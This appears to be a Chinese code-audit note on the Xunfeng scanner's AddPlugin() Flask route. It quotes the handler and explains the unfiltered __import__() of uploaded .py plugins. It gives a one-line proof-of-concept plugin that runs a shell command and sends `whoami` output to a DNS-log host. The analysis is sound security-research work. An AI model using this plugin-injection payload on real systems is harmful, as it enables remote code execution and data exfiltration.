巡風源碼閱讀與分析---AddPlugin()方法

文件位置：view/view.py

AddPlugin（）

# 新增插件異步
@app.route('/addplugin', methods=['get', 'post'])
@logincheck
@anticsrf
def AddPlugin():
    result = 'fail'
    f = request.files['file']
    isupload = request.form.get('isupload', 'false')
    file_name = ''
    if f:
        fname = secure_filename(f.filename)
        if fname.split('.')[-1] == 'py':
            path = file_path + fname
            if os.path.exists(file_path + fname):
                fname = fname.split('.')[0] + '_' + str(datetime.now().second) + '.py'
                path = file_path + fname
            f.save(path)
            if os.path.exists(path):
                file_name = fname.split('.')[0]
                module = __import__(file_name)
                mark_json = module.get_plugin_info()
                mark_json['filename'] = file_name
                mark_json['add_time'] = datetime.now()
                mark_json['count'] = 0
                if 'source' not in mark_json:
                    mark_json['source'] = 0
                insert_result = Mongo.coll['Plugin'].insert(mark_json)
                if insert_result:
                    result = 'success'
                    file_name = file_name +'.py'

    else:
        name = request.form.get('name', '')
        info = request.form.get('info', '')
        author = request.form.get('author', '')
        level = request.form.get('level', '')
        type = request.form.get('vultype', '')
        keyword = request.form.get('keyword', '')
        pluginurl = request.form.get('pluginurl', '')
        methodurl = request.form.get('methodurl', '')
        pdata = request.form.get('pdata', '')
        analyzing = request.form.get('analyzing', '')
        analyzingdata = request.form.get('analyzingdata', '')
        tag = request.form.get('tag', '')
        try:
            query = {'name': name, 'info': info, 'level': level, 'type': type, 'author': author, 'url': pluginurl,
                     'keyword': keyword, 'source': 0}
            query['plugin'] = {'method': methodurl.split(' ', 1)[0], 'url': methodurl.split(' ', 1)[1],
                               'analyzing': analyzing, 'analyzingdata': analyzingdata, 'data': pdata, 'tag': tag}
            file_name = secure_filename(name) + '_' + str(datetime.now().second) + ".json"
            with open(file_path + file_name, 'wb') as wt:
                wt.writelines(json.dumps(query))
            query.pop('plugin')
            query['add_time'] = datetime.now()
            query['count'] = 0
            query['filename'] = file_name
            insert_result = Mongo.coll['Plugin'].insert(query)
            if insert_result:
                result = 'success'
        except:
            pass
    if isupload == 'true' and result == 'success':
        code_tuple = open(file_path+file_name).read()
        code = ''
        for _ in code_tuple:
            code += _
        params = {'code': code}
        req = urllib2.Request('https://sec.ly.com/xunfeng/pluginupload')
        req.add_header('Content-Type','application/x-www-form-urlencoded')
        rsp = urllib2.urlopen(req,urlencode(params))
        print 'upload result:' + rsp.read()
    return result

　　

先判斷插件格式是json仍是上傳python文件

329-348行

python文件:利用secure_filename()函數來處理文件名。secure_filename()函數只返回ASCII字符，非ASCII字符會被過濾掉。判斷是否py結尾， 文件是否存在，若是存在就從新命名。而後保存。

而後用__import__()加載這個文件， 獲取到裏面的get_plugin_info()的信息。咱們編寫插件的格式要有get_plugin_info()這個方法，返回插件信息。而後再加入了文件名 時間。保存到數據庫。

因爲使用了__import__() 能夠動態加載文件，也沒過濾。因此能夠構造個代碼執行，利用dnslog驗證下。

import os;
def get_plugin_info():
    os.system("ping `whoami`.ip.port.xxx.ceye.io");

 成功

 

 

351-379行

若是是json格式就接收傳來的參數，而後插入到數據庫裏，而且寫入到.json裏文件裏。

380-389行

若是有共享上傳而且成功了，就向ysrc也發送一份poc...